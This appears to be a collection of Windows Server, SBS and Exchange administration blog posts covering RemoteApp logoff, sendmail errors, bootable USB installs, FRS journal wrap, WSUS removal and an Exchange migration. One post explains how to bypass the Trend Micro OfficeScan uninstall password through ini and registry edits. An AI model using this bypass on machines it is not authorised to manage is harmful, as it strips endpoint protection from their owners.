Windows Solutions, AD, DNS, DHCP, Migration, UPgrade, IIS, SSL, VPN

How to find DN path for Users, Security Gruop, etc.

2011-05-17T09:36:00.002+10:00

cmd /k dsquery group -name "Security Group Name"

cmd /k dsquery User -name "Username"

Terminal Services RemoteApp™ Session Termination Logic

2011-05-17T00:58:00.000+10:00

Terminal Services RemoteApp™ Session Termination Logic

There are several heuristics and session time limit Group Policy settings that dictate the lifetime of a RemoteApp session. The main difference in behavior between a RemoteApp session and a regular full desktop session is that there is no explicit way for the user to either log off or disconnect a RemoteApp session.
The procedure for when to end a RemoteApp session involves two stages. In the first stage, heuristics are applied to determine whether the session needs to be disconnected. If the session needs to be disconnected, stage two is triggered. In stage two, Group Policy settings are used to decide if and when to log off the disconnected RemoteApp session.

Stage I: When should the RemoteApp session be disconnected?

Several factors are considered in deciding when to disconnect a RemoteApp session. The session disconnection is triggered when all RemoteApp windows and user launched system tray icons are closed. The following flow chart shows the decision-making process. Each step is discussed in detail below.

1. A RemoteApp session remains active as long as there is at least one visible or active window in that session.
- The active window could be in any of the window states (minimized, maximized or restored).
- The active window could belong to an application that was either started directly or indirectly as a RemoteApp program.
Scenario: A user double-clicks the Remote Outlook icon to start Microsoft® Office Outlook®. [Outlook is the directly started application]. The user then opens an e-mail with a Word attachment and opens the document. This starts Word in the session. [Word is the indirectly started application]. The session will remain active until both the Outlook and Word windows are closed.
2. A RemoteApp session remains active as long as there is at least one notification area (system tray) icon of an application that was started directly or indirectly by the user.
Scenario: A user double-clicks the Remote Microsoft Office Communicator icon. After the application is started, the remote notification area icon for Communicator is also shown in the client’s notification area. Even if the main window of Communicator is closed, the application is still running in the background. The session will remain active.
Note that a remote notification area icon that is not explicitly started by the user is not taken into consideration as part of decision 2.
Scenario: A user double-clicks the Remote Outlook icon to start Outlook. As part of the logon script, the antivirus software client also starts and appears in the notification area. If the remote Outlook window is closed by the user, the remote notification area icon that belongs to the antivirus program is ignored because it was not started (either directly or indirectly) by the user.
3. If the answers to decision 1 and decision 2 are both “No,” there are no RemoteApp programs running in the session. At this point, there is a 20 second wait, in case the user wants to start another RemoteApp program on the same server, or if the recently closed RemoteApp program displays any messages upon closure. If the user chooses not to start any more remote programs in this period, the RemoteApp session will be disconnected and the client process (mstsc.exe) will exit.

Stage II – Setting the time delay for the logoff from a disconnected RemoteApp session

You can use the Session Time Limits policy settings for Terminal Services sessions to set the time limit for RemoteApp sessions. Typically, administrators use these policy settings for scalability reasons.

New Group Policy setting—RemoteApp session logoff delay

There is a new policy setting introduced in Windows Server 2008 that allows for the administrator to set the time delay for the logoff from a disconnected RemoteApp session. As it is much faster to connect to a disconnected session as opposed to starting a new session, you can use this policy setting to provide a faster startup times when a user launches a new RemoteApp on the same server. Based on server performance, an administrator must determine a time limit that provides the best user experience, while not overwhelming server resources by permitting these "no remote program running" RemoteApp sessions to remain in a disconnected state.

What is the default setting for the “Set time limit for logoff of RemoteApp sessions” policy setting?

By default, RemoteApp sessions will remain in a disconnected state indefinitely.

Where are the session time limit policy settings located?

To locate the session time limit policy settings, follow these steps:
1. Log on to the terminal server as an administrator.
2. Start the Local Group Policy Editor. To do this, click Start, click Run, type gpedit.msc, and then click OK.
3. Locate the following node:
Computer Configuration\Administrative Templates\Windows Components\Terminal Services\Terminal Server\Session Time Limits

Note: The policy settings are also located under User Configuration\Administrative Templates\Windows Components\Terminal Services\Terminal Server\Session Time Limits
4. The new policy—Set time limit for logoff of RemoteApp sessions—is shown in the following figure:

How do I enable the time limit for logoff delay?

To enable the “Set time limit for logoff of RemoteApp sessions” policy setting, follow these steps:
1. In the right pane of the Local Group Policy Editor, double-click Set time limit for logoff of RemoteApp sessions.
2. Click Enabled.
3. In the RemoteApp session logoff delay list, select the desired time for logoff delay, and then click OK.
4. At a command prompt, type gpupdate, and then press ENTER to force the policy to refresh immediately on the local computer.
After the policy setting is enabled, disconnected RemoteApp sessions will be logged off after the configured time delay.
Scenario: Consider a typical work day where a user closes their RemoteApp programs when they leave work at 5:00 P.M. When they return to work at 8:00 A.M. the following day, they start their RemoteApp programs again. Assume that the administrator has chosen 18 hours as the time limit for RemoteApp session logoff. When the user returns in the morning and restarts their programs, the remote programs will start quickly. Even if the user logs on after 19 hours, there is no possibility for data loss because there are no remote programs running in the session. Unlike existing session time limit policies, there is no threat of data loss because the policy setting applies only to RemoteApp sessions that have no remote programs running that were started by the user. Therefore, you should configure this new policy setting with the goal of providing the better user experience.

Is there any possibility of conflict between the RemoteApp logoff policy setting and other session limit policy settings?

We recommend that you set other session limit policy settings that end the session to a time limit that is higher than the RemoteApp logoff delay policy setting. If this is not the case, there is a possibility for conflict.
Scenario: Extending the scenario mentioned earlier, assume that the administrator has also set the “Set time limit for disconnected sessions” policy setting to two days. When a user leaves work at 5:00 P.M. on Friday, by the time that they return to work at 8:00 A.M. on Monday, their session would be logged off. In this manner, the administrator can choose to log off the disconnected sessions that are taking up server resources. If the administrator decides to end the session in 12 hours instead of two days, the RemoteApp logoff policy setting that was set for 18 hours has no effect. After 12 hours, the session will be logged off.

/etc/mail/sendmail.cf : line 91 -- Sendmail error

2011-01-20T21:13:00.000+11:00

Sendmail Fails to restart.
Starting sendmail : 451 4.0.0 /etc/mail/sendmail.cf : line 91 : fileclass :
Cannot open '/etc/mail/local-host-names' : World writable Directory

Recently i have faced a problem with Sendmail server, it failed to start
throwing a strange Error -

Starting sendmail : 451 4.0.0 /etc/mail/sendmail.cf : line 91 : fileclass :
Cannot open '/etc/mail/local-host-names' : World writable Directory
Starting sendmail : 451 4.0.0 /etc/mail/sendmail.cf : line 588 : fileclass :
Cannot open '/etc/mail/local-host-names' : World writable Directory
Starting sm-client : /etc/mail/submit.cf : line 545 : fileclass : Cannot
open '/etc/mail/local-host-names' : World writable Directory

Well there is nothing strange 'bout the error alone, but with the fact that
the permission to /etc/mail/* is perfectly ok, none of the files or folder
has permission to be written by any user then owner that is root. The
sendmail.cf and submit.cf has never been touched and sendmail was running
fine just before rebooting the system.

Well got the solution and it worked for me, edit the file
/etc/mail/sendmail.cf and add -o ('oh') to line 91 and 588 that is change
Fw/etc/mail/local-host-names to Fw-o /etc/mail/local-host-names. Similarly
edit /etc/mail/submit.cf and add -o that is change Ft/etc/mail/trusted-users
to Ft-o /etc/mail/trusted-users.

Bootable USB Device / Install Vista VIA USB / Bootable USB

2011-01-06T11:01:00.000+11:00

This guide works 100% for Vista & Windows 7 unlike most of the guides out there. I have seen many sites/blogs that have “Install Vista from USB guide” but either with incomplete steps or not working guide. I have also seen some guides that don’t’ use proper commands in this guide. After spending many hours I have come up with this 100% working guide.

I just did this method on one of my friends machine and installed the new Windows 7 BETA. The main advantage is that by using USB drive you will be able to install Windows 7/Vista in just 15 minutes. You can also use this bootable USB drive on friend’s computer who doesn’t have a DVD optical drive.
The method is very simple and you can use without any hassles. Needless to say that your motherboard should support USB Boot feature to make use of the bootable USB drive.
Requirements:
*USB Flash Drive (Minimum 4GB)
*Windows 7 or Vista installation files.
Follow the below steps to create bootable Windows 7/Vista USB drive using which you can install Windows 7/Vista easily.
1. Plug-in your USB flash drive to USB port and move all the contents from USB drive to a safe location on your system.
2. Open Command Prompt with admin rights. Use any of the below methods to open Command Prompt with admin rights.
*Type cmd in Start menu search box and hit Ctrl+ Shift+ Enter.
Or
*Go to Start menu > All programs > Accessories, right click on Command Prompt and select Run as administrator.
3. You need to know about the USB drive a little bit. Type in the following commands in the command prompt:
First type DISKPART and hit enter to see the below message.

Next type LIST DISK command and note down the Disk number (ex: Disk 1) of your USB flash drive. In the below screenshot my Flash Drive Disk no is Disk 1.
4. Next type all the below commands one by one. Here I assume that your disk drive no is “Disk 1”.If you have Disk 2 as your USB flash drive then use Disk 2.Refer the above step to confirm it.
So below are the commands you need to type and execute one by one:
SELECT DISK 1
CLEAN
CREATE PARTITION PRIMARY
SELECT PARTITION 1
ACTIVE
FORMAT FS=NTFS
(Format process may take few seconds)
ASSIGN
EXIT
Don’t close the command prompt as we need to execute one more command at the next step. Just minimize it.

5. Next insert your Windows7/Vista DVD into the optical drive and check the drive letter of the DVD drive. In this guide I will assume that your DVD drive letter is “D” and USB drive letter is “H” (open my computer to know about it).
6. Maximize the minimized Command Prompt in the 4th step.Type the following command now:
D:CD BOOT and hit enter.Where “D” is your DVD drive letter.
CD BOOT and hit enter to see the below message.
7. Type another command given below to update the USB drive with BOOTMGR compatible code.
BOOTSECT.EXE/NT60 H:

Where “H” is your USB drive letter. Once you enter the above command you will see the below message.
8. Copy your Windows 7/Vista DVD contents to the USB flash drive.
9. Your USB drive is ready to boot and install Windows 7/Vista. Only thing you need to change the boot priority at the BIOS to USB from the HDD or CD ROM drive. I won’t explain it as it’s just the matter the changing the boot priority or enabling the USB boot option in the BIOS.
Note: If you are not able to boot after following this guide means you haven’t set the BIOS priority to USB. If you got any problem in following this guide feel free to ask questions by leaving comment.

Off topic: When Windows NLB won't NLB (Quick Tip)...

2011-01-03T20:10:00.000+11:00

Off topic: When Windows NLB won't NLB (Quick Tip)...

Windows Server 2008 Terminal server load balancing on Cluster enviroment

Exchangepedia: iPhone OS 3.1 Security Changes and Exchange ActiveSync Policy

2011-01-03T10:43:00.000+11:00

Exchangepedia: iPhone OS 3.1 Security Changes and Exchange ActiveSync Policy

SBS 2003 BPA question Managed Recipient Policies

2010-12-17T08:12:00.000+11:00

Hi to all,

I am planning a migration to sbs 2008 in the near future, still working on
choosing the hardware phase.

Just ran the SBS BPA today and got a warning that I can't seem to find an
answer for:

Managed Recipient Policies
The Mailbox Manager setting is enabled for one or more recipient policies.
As a result, the recipient policies will not be upgraded if you migrate to
Windows SBS 2008 and Exchange Server 2007.
I checked some blogs and tpis twaks,

Answer for this problem is

=============
If you have Exchange 2003 or Exchange 2000 policies that are BOTH E-mail Addresses and Mailbox Manager policies (they have both the Mailbox Manager Settings
(Policy) tab and the E-mail Addresses (Policy) tab), perform the following steps to remove the mailbox manager portion of the policy:

1. In Exchange System Manager, expand Recipients, and then select Recipient Policies.
2. Right-click the policy, and then select Change property pages.
3. Clear the Mailbox Manager Settings check box, and then click OK. Please reffere to above images.

How to check for duplicate/invalid SMTP addresses in recipient policies:

1. In Exchange System Manager, expand Recipients, and then select Recipient Policies.
2. Right-click the policy, and then select E-Mail Addresses (Policy) tab.
3. Inspect the SMTP Addresses for any that are unchecked. If you find any, place a check in the box or remove that address.
4. Inspect the SMTP Addresses for any that have an IP address. For instance, @192.168.1.1. If you find any, remove those addresses that contain an IP address.
5. Click OK.
=============

Thanks.

SBS BPA Known Issues/Common Questions

2010-12-16T17:33:00.000+11:00

1) You get a warning
Windows Server Update Services 2.0 installed
This server is running Windows Server Update Services 2.0. You should upgrade Windows Server Update Services 2.0 to Windows Server Update Services 3.0. For information about upgrading Windows Server Update Services 2.0 to Windows Server Update Services 3.0, see ”Installing Windows Server Update Services 3.0 on Windows SBS 2003” at the Microsoft Web site (http://go.microsoft.com/fwlink/?linkid=77404).
This should refer to the link http://go.microsoft.com/fwlink/?linkid=89081 instead of http://go.microsoft.com/fwlink/?linkid=77404. This will be addressed in the first update to the BPA.
2) You get one or both of the following warnings
Windows SBS 2003 R2 Technologies installed
Windows SBS 2003 has the Windows SBS 2003 R2 Technologies installed but Service Pack 2 for Windows SharePoint Services 2.0 is not installed.
or
Daylight Savings Time not updated
Windows SharePoint Services has not been updated for Daylight Savings Time. For more information see the Knowledge Base articles "Description of the update for Windows SharePoint Services: January 9 2007" at http://go.microsoft.com/fwlink/?LinkId=95936 and "Description of the Windows SharePoint Services post-Service Pack 2 hotfix package: March 9 2007" at http://go.microsoft.com/fwlink/?LinkId=95163.
Please click on the Tree Reports radio button and then go under Windows Small Business Server Baseline/Technologies/Windows SharePoint Services 2.0/HKEY_LOCAL_MACHINE\Software\Microsoft\Shared Tools\Web Server Extensions\6.0 and see if the value for the Version = 6.0.2.8165 or greater. If so, then it appears that you have WSS SP3 (or later) installed and you should be able to ignore the above warnings.
If the Version is less than 6.0.2.6568 then it would appear the WSS SP2 has not been installed. This will be addressed in the first update to the BPA.
3) You get a warning
Small Business registry key exists
The Small Business registry key exists and should be removed. You should either back up or export this registry key and then delete the Small Business registry key located at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Small Business.
We will include a link to http://support.microsoft.com/default.aspx/kb/914990 in order for you to get more information about this registry key. This will be addressed in the first update to the BPA.
4) You get a warning even though you have Windows Server 2003 SP1 or SP2 installed
Windows SBS 2003 Service Pack 1 not installed
Windows SBS 2003 SP1 is available. For download information, see http://go.microsoft.com/fwlink/?linkid=50694. To order the Windows SBS 2003 cd set (required for Windows SBS 2003 Premium Edition customers), go to http://go.microsoft.com/fwlink/?linkid=50685.
This is by design. Windows SBS 2003 SP1 is an SBS specific service pack. It is made up of 5 parts including the operating system service pack, Exchange Server service pack, Windows SharePoint Services service pack, XP SP2 update, and Windows SBS 2003 SP1 itself. The Exchange Server service packs, XP SP2 update for SBS, and Windows SBS 2003 SP1 itself are not distributed via Microsoft Update. You must download these components from the Microsoft Download Center. Please note that the ability to order the Windows SBS 2003 SP1 cd set (required for Premium customers in order to get ISA 2004) ends at the end of this year. Additional information can also be found at http://blogs.technet.com/sbs/archive/2007/07/03/sbs-2003-sp-0-support-retirement.aspx
5) You get a warning of
DNS Client not configured
The DNS client is not configured to point only to the internal IP address of the server. For detailed instructions about configuring the DNS client, see the "Configurations" section of the Knowledge Base article "How to configure Internet access in Windows Small Business Server 2003" at http://go.microsoft.com/fwlink/?LinkId=95289.

Internal Network Adapter is not configured to register IP address in DNS
Verify that the internal network card is configured to register in DNS. For detailed instructions about verifying internal adapter configuration, see the procedure for "Internal or single network adapter configuration" in the "Configurations" section of the Knowledge Base article "How to configure Internet access in Windows Small Business Server 2003" at http://go.microsoft.com/fwlink/?LinkId=95289.
Ensure that the LANNIC registry value has the proper network card GUID. Check using Method 3 in the KB article http://support.microsoft.com/default.aspx/kb/875422.
6) Get a warning of
Outlook Mobile Access is not using .Net Framework version 1.1.4322
Microsoft Outlook Mobile Access should be using .Net Framework version 1.1.4322. To do so, click Start, point to Administrative Tools, click Internet Information Services (IIS) Manager. In the IIS Manager snap-in, double-click Web Sites, double-click Default Web Site, right-click oma, and then click Properties. Click the ASP.NET tab, and then for ASP.Net version, select 1.1.4322
And/or
Remote Web Workplace not using .Net Framework 1.1.4322
Remote Web Workplace should be using .Net Framework version 1.1.4322. To do so, click Start, point to Administrative Tools, click Internet Information Services (IIS) Manager. In the IIS Manager snap-in, double-click Web Sites, double-click Default Web Site, right-click Remote, and then click Properties. Click the ASP.NET tab, and then for ASP.Net version, select 1.1.4322.
And/or
The Windows SBS Backup site is not using .Net Framework 1.1.4322
The Windows SBS Backup site should be using .Net Framework version 1.1.4322. To do so, click Start, point to Administrative Tools, and then click Internet Information Services (IIS) Manager. In the IIS Manager snap-in, double-click Web Sites, double-click Default Web Site, right-click Backup, and then click Properties. Click the ASP.NET tab, and then for ASP.Net version, select 1.1.4322.
And/or
Windows SBS Monitoring is not using .Net Framework 1.1.4322
Windows SBS Monitoring should be using .Net Framework version 1.1.4322. To do so, click Start, point to Administrative Tools, click Internet Information Services (IIS) Manager. In the IIS Manager snap-in, double-click Web Sites, double-click Default Web Site, right-click Monitoring, and then click Properties. Click the ASP.NET tab, and then for ASP.Net version, select 1.1.4322.
This is by design. These features were designed and tested against the ASP.Net Framework v1.1.4322. Note that Remote Web Workplace, Backup, Monitoring and Companyweb all need to be using the same version of ASP.Net Framework due to the fact that they are all in the same application pool. If you change them from v2.0 back to the v1.1.4322 then you may also need to follow the steps in the More Information section of http://support.microsoft.com/kb/894903 in order to change Companyweb back to ASP.Net v1.1.4322.
7) Is there a way to silently install and/or schedule the SBS BPA to run?
Currently, there is not a way to silently install and/or run it as a scheduled task.
8) When will the first update of the BPA be available?
Currently the first update for the BPA is planned to occur by the end of this year.

Remove Trend Micro Client Security Agent Forcefully Or Manually

2010-12-15T21:22:00.000+11:00

Hello Friends,

Some time you want to remove / unload Trend Micro Client agent from system(Computer).

Please fnid here with the details.

To remove / reset the uninstall password for Trend Micro OfficeScan

Edit Ofcscan.ini file. (Do a search.)
On Windows.95/98/XP machines it is usually in C:\Windows\Ofcscan.ini
On Windows.NT/2K machines it is usually in C:\WINNT\Ofcscan.ini
Open the Ofcscan.ini file using notepad search for the [INI_CLIENT_SECTION]
Find the line reading Uninstall_Pwd= and type a # at the beginning of the line to comment it out.
Insert a new line saying Uninstall_Pwd=70
Save the Ofcscan.ini file and retry the uninstall. When it prompts you for a password, enter a '1'.

Method 2 for Uninstall Trend Micro Client when you don't know password

Start --> Run --> regedit -->
HKLM--> Software--> Trend Micro --> PCClinNTCrop --> Misc.
in right side pannel search for Registry "AllowUninstall" edit key to 1 instead of 0.

Now try to uninstall Trend Micro Via Add and Remove Programe.

If this method don't work
reboot your workstation / system to safe mode and remove Trend Micro
Good Luck!!!

Migrating Your Existing Infrastructure SBS 2003 to the SBS 2008 Environment

2010-12-14T18:28:00.000+11:00

Migrating Your Existing Infrastructure to the SBS Environment

Click the above link to get step by step document on Migration/Upgrade your Existing SBS2003 Infrastructure to SBS 2008 Environment.

http://www.google.com.au/url?sa=t&source=web&cd=1&ved=0CBcQFjAA&url=http%3A%2F%2Fdownload.microsoft.com%2Fdocuments%2FFrance%2FTechNet%2F2009%2FSBS%2FHands-on-labs_Windows_SBS_2008_Migration_from_SBS2003.pdf&rct=j&q=windows%20SBS%202008%20Migrating%20Your%20Existing%20Infrastructure%20to%20the%20SBS%20Environment&ei=WRsHTd7hA4_jrAeZqJ3bDQ&usg=AFQjCNHvDVFZq2jovuZyx9mHTqylzKhqlA&sig2=5JWBOdD6yG84W_pGrTIQEg&cad=rja

Troubleshooting journal_wrap errors shows in AD Migration Preparation tools SBS2003-2008

2010-12-11T12:03:00.002+11:00

When performing Windows SBS 2003 to SBS 2008 Migration/Upgrade.
At the stage of:
Run Migration Preparation tool from Windows SBS 2008 DVD
Gives an error of AD in Journal Wrap mode and perform following steps.

The solution is

Delete Event logs from server all logs just delete.
1. Click Start, and then click Run.
2. In the Open box, type cmd and then press ENTER.
3. In the Command box, type net stop ntfrs.
4. Click Start, and then click Run.
5. In the Open box, type regedit and then press ENTER.
6. Locate the following subkey in the registry:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NtFrs\Parameters\Backup/Restore\Process at Startup
7. In the right pane, double-click BurFlags.
8. In the Edit DWORD Value dialog box, type D2 and then click OK.
9. Quit Registry Editor, and then switch to the Command box.
10. In the Command box, type net start ntfrs.
11. Quit the Command box.

When the FRS service restarts, the following actions occur:

* The value for BurFlags registry key returns to 0.
* Files in the reinitialized FRS folders are moved to a Pre-existing folder.
* An event 13565 is logged to signal that a nonauthoritative restore is started.
* The FRS database is rebuilt.
* The member performs an initial join of the replica set from an upstream partner or from the computer that is specified in the Replica Set Parent registry key if a parent has been specified for SYSVOL replica sets.
* The reinitialized computer runs a full replication of the affected replica sets when the relevant replication schedule begins.
* When the process is complete, an event 13516 is logged to signal that FRS is operational. If the event is not logged, there is a problem with the FRS configuration.

Note: The placement of files in the Pre-existing folder on reinitialized members is a safeguard in FRS designed to prevent accidental data loss. Any files destined for the replica that exist only in the local Pre-existing folder and did not replicate in after the initial replication may then be copied to the appropriate folder. When outbound replication has occurred, delete files in the Pre-existing folder to free up additional drive space.

Also try this too.

Increasing the USN journal size, and thus the number of changes that it can hold before the journal "wraps", decreases the possibility that the USN journal wrap will occur. The USN journal size can be changed by setting the following registry key:
HKLM\System\CCS\Services\NTFRS\Parameters\"Ntfs Journal size in MB" (REG_DWORD)
Valid settings range from 8 to 128 megabytes (MB) with a default of 32 MB. This setting applies to all volumes that are hosting an FRS replica tree. You have to stop and then restart the NTFRS service for the increases to the USN journal size take affect. Decreases to the USN journal size can only be made by reformatting all volumes that contain FRS-replicated content.

The number of changes that a given USN journal file can hold can be estimated with the following formula:
journal size/((60 bytes + (length of file name)) * 2)

How To remove WSUS Manually

2010-04-28T23:04:00.001+10:00

1. Download the SDK to obtain MSIZAP

To obtain the Windows Server 2003 SP1 Platform SDK, visit the following Microsoft Web site:

http://www.microsoft.com/downloads/details.aspx?FamilyId=A55B6B43-E24F-4EA3-A93E-40C0EC4F68E5

2. From a command prompt, type:

For WSUS 2.0: MSIZAP T { A0D46DC6-8950-451A-8990-53C86E17666E}

For WSUS 3.0: MSIZAP T {2C0D7E35-EE6E-4DC7-BA13-2C68AEDEB59D}

3. From a command prompt, type: sc delete wsusservice

4. Again, From a command prompt, type: MSIZAP T {2C0D7E35-EE6E-4DC7-BA13-2C68AEDEB59D}

5. Run following command to ensure the Windows internal database is removed.

On 32-bit platforms: msiexec /x {CEB5780F-1A70-44A9-850F-DE6C4F6AA8FB} callerid=ocsetup.exe

On 64-bit platforms: msiexec /x {BDD79957-5801-4A2D-B09E-852E7FA64D01} callerid=ocsetup.exe

6. Reboot the server.

7. From a command prompt, type: aspnet_regiis –i

8. From a command prompt, type: iisreset

Configuring Exchange 2007 as an Authenticated or Anonymous SMTP Relay

2010-03-30T17:54:00.001+11:00

Configuring Exchange 2007 as an Authenticated or Anonymous SMTP Relay

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Upgrade/Migration/Transtioning AD/Exchange 2003 Std to Ad/Exchange 2008 Ent. x64 Part III

2010-03-22T11:26:00.000+11:00

Phase 3 :- Installation of Windows Exchange server standard 2007 SP1 & Move Mailbox, Installtion/Transfer of Commercial Certificate

A/ Install Exchange Pre-requisites and IIS

Install IIS Role from Go to Start > “Server Manager àFutures Roleà Install IIS role and Please make sure you install IIS 6.0 management compatibility, IIS6 Metabase Compatibility, Digest Authentication, Dynamic content compression à Restart the server.

Install Exchange Server Prerequisite

à Windows ServerPowerShell Management Tool

à.NET Framework 2 OR 3.5 (**Install this first .net 1.1 sp1, .net 2)

à MMC

àExchangeBPA,

àExchange2007-KB970162-x64-EN

And all the updates from AWD “BBN-Migration Utility” folder on AWD nas\pub

B/ Prepare Current Exchange Server 2003 Std environment to install and Transfer Mailbox to Exchange server 2007 Std.

Step 1:

Raise the Microsoft Exchange Server Operational Level From Mixed Level to Native Mode

On the Old Exchange server Open Exchange Server manager à R/C on “First Organisation (Exchange)” à Properties à Change the Operational Level From Mixed Level to Native Mode

Export (*.p12b) certificate from Old Exchange server with full certificate path and private key.

Step 2: Prepare Current Exchange server 2003 to transfer all records and schemas to new Exchange server 2007:-

Prepare AD and Domain Schema For Installing Exchange Server 2007 / 2010.

Run this command by pointing CMD to Exchange Server CD

1 / Setup.com /PrepareLegacyExchangePermissions

2/ Setup.com /PrepareSchema

3/ Setup.com /PrepareAD

4/ Setup.com /PrepareDomain

5/ Setup.com /PrepareAllDomains

c/ Install Exchange server 2007 SP1 Std.

Copy All Files and Folders from Exchange Server CD to the Local Hard Drive.

àR/C on Setup.exeà Compatibility TAB à Select “Run this program in Compatibility mode for Windows server 2008”)

(If you are installing Exchange Server 2010 run the Setup.exe Directly Without running compatibility Mode)

àR/C on EXCHANGESERVER.exe àCompatibility TAB à Select “Run this program in Compatibility mode for any Windows Previous Version.”

Ø Once Exchange Server is installed successfully check the Mail Box, Distribution list (Mailboxes Should be available in Legacy Mode)

Ø Check Recipients Connector to send and Receive Email’s.

d/ Change Mailbox size limit In Order to Start Moving Mail box from old to new server

àMEMC(Microsoft Exchange Management Console) àOrganisation Configurationà HUB Transport à Global Settings à Transport Settings à Properties and Change the Mailbox Size limit for Send and Receive.

Transfer Mailbox from old exchange server store to new exchange server store.

àMEMC(Microsoft Exchange Management Console) àRecipient Configuration à Mail Box à select the Mailbox you want to transfer to new store.

(Please do 4 Mailbox transfer at a time this task can take up to 18 to 23hrs)

e/ Install Commercial Certificate

Install Old server commercial certificate (*.p12b)

Ø On the new server

Start à mmc à Add snap in à Select Certificates à Select service for this computer à Select for this computer à ok.

Expand Certificates à Click on Intermediate Certificate à R/C Import à Select (*.p12b) certificate à Follow the wizard steps and finish the process.

Open IIS Management console à select IIS (Server Name)à on right pane click on “Server Certificates” à on the extreme right pane select Import à Select (*.p12b) certificate à Follow the wizard steps and finish the process.

f/ Change Client Access URL in order to take affect Commercial Certificate

Run the following command on Exchange server Mgt Console.

The following commands are for the single Exchange Server 2007 scenario

#holding the MBX, CA, HT roles

#Check the SCP details (Autodiscover Uri):

Get-ClientAccessServer | FL

#Set the new URI for SCP

Get-ClientAccessServer | Set-ClientAccessServer -AutoDiscoverServiceInternalUri https://mail.babybunting.com.au/Autodiscover/Autodiscover.xml

#Check the Web Services URL:

Get-WebServicesVirtualDirectory | FL

#Set the new URL for Web Services:

Get-WebServicesVirtualDirectory | Set-WebServicesVirtualDirectory -InternalUrl https:///EWS/Exchange.asmx -ExternalUrl https:///EWS/Exchange.asmx

#List Certificates in local store:

Get-ExchangeCertificate

Check and make sure you can see your Commercial Cetificate

#Asign an existing Certificate of Exchange Services:

Enable-ExchangeCertificate

Check the IPWS role attached to which Certificate and for taking role to your Commercial certificate run this command on the prompt:

Enable-ExchangeCertificate{Thumb Print of your Commercial certificate} Press Enter

When prompted please press “A” to yes to all role transfer from old to new Commercial certificate

Note / Troubleshooting : à Check the client computers of the domain for Outlook, it should pointing to new server. If not, please restart the client systems, that will do the change. It is good Idea to change/Move DNS, and DHCP services to new server. Also check the Exchange server to

MEMC(Microsoft Exchange Management Console) àOrganisation Configuration à Mailbox à on the right hand pane please select you server name à R/C Properties à System Settings and check à Active directory servers à Domain controller servers being used by Exchange server à should be your new server.

Also at the same place please check à Global Catalogue servers being used by Exchange server à should be your new server.

Please note that It will only take your new server as Active directory and Global catalogue server if your server has a Global catalogue server.

If your server is a Global Catalogue server and still having problem in this part (It is most probably It’s IPv6 problem that is not configured), Please go to command prompt and ping the server check

#ipconfig /all

Disable IPv6 on the server and restart the server and check it again.

Go to Network Connections folder (click on Start button, then right click on Network, select Properties, then click on “Manager Network Connections” on Tasks pane).
You should see various LAN, wireless, Bluetooth, high speed Internet, and other network connections available on the Vista computer with the network adapter description. Right click on the network connection that you want to disable the IPv6 interface and select “Properties”.

Click “Continue” on User Access Control permission request prompt.

Clear the check box next to the Internet Protocol version 6 (TCP/IPv6) component in the list under “This connection uses the following items” box.

Click OK when done.
To re-enable IPv6, tick back the check box.

This method disables IPv6 on the particular LAN interface and connection. For other network adapter or connection, users have to repeat the steps to disable IPv6. Beside, disable IPv6 also does not disable IPv6 on tunnel interfaces or the IPv6 loopback interface.

It’s also possible to disable IPv6 and/or Teredo via Vista system registry. The registry settings also allow users to selectively disable components and configure behaviors for IPv6 in Windows Vista.

Open Registry editor (regedit).
Navigate to the following registry key branch:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\tcpip6\Parameters\

Create the following registry value (DWORD type):

DisabledComponents

Note that the name must be exactly as shown, including capitalization. DisabledComponents is set to 0 by default.

The DisabledComponents registry value is a bit mask that controls the following series of flags, starting with the low order bit (Bit 0). To determine the value of DisabledComponents for a specific set of bits, the process is complicated, were hexadecimal value is calculated from binary number of the bits in correct position. For convenient, the following table lists some common configuration combinations and the corresponding DWORD value of DisabledComponents.

Configuration combination	DisabledComponents value
Disable all tunnel interfaces	0×1
Disable 6to4	0×2
Disable ISATAP	0×4
Disable Teredo	0×8
Disable Teredo and 6to4	0xA
Disable all LAN and PPP interfaces	0×10
Disable all LAN, PPP, and tunnel interfaces	0×11
Prefer IPv4 over IPv6	0×20
Disable IPv6 over all interfaces and prefer IPv4 to IPv6	0xFF

As seen from table above, to disable IPv6 support globally on all interface, set the value data for DisabledComponents to 000000FF, or simply FF. The registry entry will look like below:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters]
"DisabledComponents"=dword:000000ff
Restart the computer for changes to take effect.
To revert and enable IPv6, delete “DisabledComponents” registry key or set its registry value to 0.

Upgrade/Migration/Transtioning AD/Exchange 2003 Std to Ad/Exchange 2008 Ent. x64 Part II

2010-03-22T11:23:00.000+11:00

Phase2 - Installation of New Server (AD, Exchange, Mail box Move)

Installation of new server and Transfer FSMO roles

A/ Install New Windows Server Enterprise 2008

B/ Make new Windows Server Enterprise 2008 a member server/Additional domain controller

Go to Start >Server manager >click on roles >click on Add roles > select AD domain services > will prompt you for .NET 3.5 installation > click on add requirements > click next and wait for installation to finish.

Roles>AD domain services >Run active directory installation wizard > click next >click “Existing forest” “Add a domain controller to an existing forest” > click next > check the domain name > make sure you have checked “my current logged on credential” > If it prompts for not able to install read-only domain controller in this domain click on YES to continue > continue with default and finish the installation.

(**Check the AD, DNS are there and all up to date)

C/ Make New Server a Global Catalogue for AD

To make New server a Global Catalouge à AD Sites and Servces à Default first Site name à Servers à Select the New server Expand à NTDS Settings à Properties Tick on Global Catlouge.

D/ Extend Active Directory Schema Version :-

To check current schema version

à Start à Run à regedit à

HKEY_Local_Machine\Systems\currentcontrolset\services\NTDS\Parameters

Click on “Schema Version” it should be 41 or 47.

E/ Transfer Fsmo role from Old server to new server :-

To demote Old server and transfer all roles to make new server as Primary Domain Controller and Global Catalogue.

First point all the Additional Domain controllers to the new Server for secondary DNS Server. To perform this steps please change the secondary IP Address in Network properties on all Additional domain controller.

Now perform/Run the following commands on the new server in order to transfer all FSMO role to new server.

è Start à Run à cmd Type

è #ntdsutil (press Enter you will see “ntdsutil:” as a command prompt)

è #ntdsutil: roles

è #fsmo maintenance:?

è #fsmo maintenance: connections

è #server connections:?

è #server connections: connect to domain domainname.local {check it should Bind and Connected to New Server}

è #server connections: connect to server {It should notify us by “Connected to server using locally logon credentials}

è #Quit

è #fsmo maintenance:?

è #fsmo maintenance: Transfer infrastructure master {When it’s prompted to to transfer the role to new server please click on “Yes”}

è #fsmo maintenance: Transfer naming master

è #fsmo maintenance: Transfer PDC

è #fsmo maintenance: Transfer RID master

